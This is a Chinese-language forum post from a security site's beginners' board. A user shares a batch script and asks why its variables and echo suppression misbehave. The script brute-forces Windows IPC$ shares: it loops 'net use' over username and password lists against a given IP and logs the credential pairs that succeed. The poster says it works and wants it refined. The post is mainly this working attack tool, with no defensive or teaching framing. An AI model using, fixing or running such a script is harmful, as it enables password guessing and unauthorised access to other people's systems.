论坛: 菜鸟乐园 标题: 各位来帮帮忙!看看! 复制本贴地址    
作者: sweet_day [sweet_day]    论坛用户   登录
我是一个比较喜欢DOS的人 以经不习惯与“傻瓜”操作 我初学批处理 在自己编写一个BAT文件时遇到一个问题 希望大家都能帮帮我!看看是什么问题!
 我的BAT文件内容如下:
@echo off
.
.
.
if "%1"=="" echo ERR:please input IP! & goto paus
if "%2"=="" echo ERR:please input scan.txt! & goto paus
echo frist you must input username to user.txt and input password to pass.txt!!!!
echo.
echo  if scan succeeding,you can open scan.txt to find username and password!
echo.
echo  and now scan %1 ...
echo  please wait ...
echo.
start "scan.." /min cmd /c set user=%%i | for /F %%i in (user.txt) do ( set pass=%%c | for /F %%c in (pass.txt) do net use \\%1\ipc$ %%c /user:%%i | find "命令成功完成" | if %ERRORLEVEL%==0 echo net use \\%1\ipc$ %%c /user:%%i>>%2)
      .
      .
      .

  各位我的问题来了!
 第一:我的批处理可以按我所想完成预定工作!可是我想问的却是..
start "scan.." /min cmd /c set user=%%i | for /F %%i in (user.txt) do ( set pass=%%c | for /F %%c in (pass.txt) do net use \\%1\ipc$ %%c /user:%%i | find "命令成功完成" | if %ERRORLEVEL%==0 echo net use \\%1\ipc$ %%c /user:%%i>>%2)
      这句中的 set user=%%i 和set pass=%%c的位置问题!
一开始我是这样写的!
start "scan.." /min cmd /c ( set user=%%i | set pass=%%c ) | for /F %%i in (user.txt) do ( for /F %%c in (pass.txt) do net use \\%1\ipc$ %%c /user:%%i | find "命令成功完成" | if %ERRORLEVEL%==0 echo net use \\%1\ipc$ %pass% /user:%user%>>%2)
这样写不能让user.txt和pass.txt中的每行的username和pass对跑!
而在我改成第一种后却可以!虽然我改了,但是却不是很明白为什么!

还有 我也试过在语句start前用set设置这两值 可是一样不行按我原想的工作!
 
 第二!当用了set user=%%i和set pass=%%c后在语句
echo net use \\%1\ipc$ %pass% /user:%user%应该没错的!可是不能引用!
这是问题二!

 第三!呵呵 是不是问题太多了?不问也不解决我们怎么成长?
  在start "scan.." .......... 语句中用>nul 不能清除显示器上的命令回显!
请问题怎么解决? 
 还有就是在net use \\%1\ipc$ /del>nul 中也是清除不了全部的命令回显!
 比如这句当遇到没有与%1联接时就还会出现"找不到网络路径" 请问这些怎么解决!
 第4!在start语句中 我用了for /f %%i in (user.txt) do (....)的语句结构,请问是否有误?

 希望大家都给点个人见解!谢谢!



地主 发表时间: 10/23 08:45

论坛: 菜鸟乐园

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号